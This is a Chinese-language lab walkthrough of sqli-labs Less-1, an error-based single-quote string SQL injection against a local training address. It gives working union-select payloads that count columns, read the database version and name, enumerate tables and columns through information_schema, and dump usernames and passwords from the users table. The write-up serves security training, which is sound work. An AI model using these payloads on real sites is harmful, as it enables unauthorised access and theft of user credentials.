题目类型:基于报错的GET单引号字符型注入
测试地址:http://192.168.101.9/sqlilabs/Less-1/?id=1
访问该网址,页面返回结果如图
0x01 判断注入参数类型
在URL后添加一个单引号 ,页面报错。根据报错信息判断,此处为字符型注入。
页面返回结果如图
0x02 判断字段数量
根据order by语句和错误提示,得出字段数为3。
Payload -> 192.168.101.9/sqlilabs/Less-1/?id=1' order by 3--+
页面返回结果如图
0x03 判断是否回显及回显位置
将前面的id改为-1,根据union语句,得出回显位置为2,3。
Payload -> 192.168.101.9/sqlilabs/Less-1/?id=-1' union select 1,2,3--+
如图所示
0x04 查询数据库名称
根据回显位置,将对应sql语句放置在2和3处。
Payload -> 192.168.101.9/sqlilabs/Less-1/?id=-1' union select 1,version(),database()--+
页面返回结果如图
0x05 查询表名
数据版本为5.0以上,从默认表information_schema中取数。
Payload -> 192.168.101.9/sqlilabs/Less-1/?id=-1' union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema='security'--+
页面返回结果如图
0x06 查询列名
Payload -> 192.168.101.9/sqlilabs/Less-1/?id=-1' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name='users'--+
页面返回结果如图
0x07 查询数据
Payload -> 192.168.101.9/sqlilabs/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users--+
页面返回结果如图
( Bingo!拿到后台管理员admin)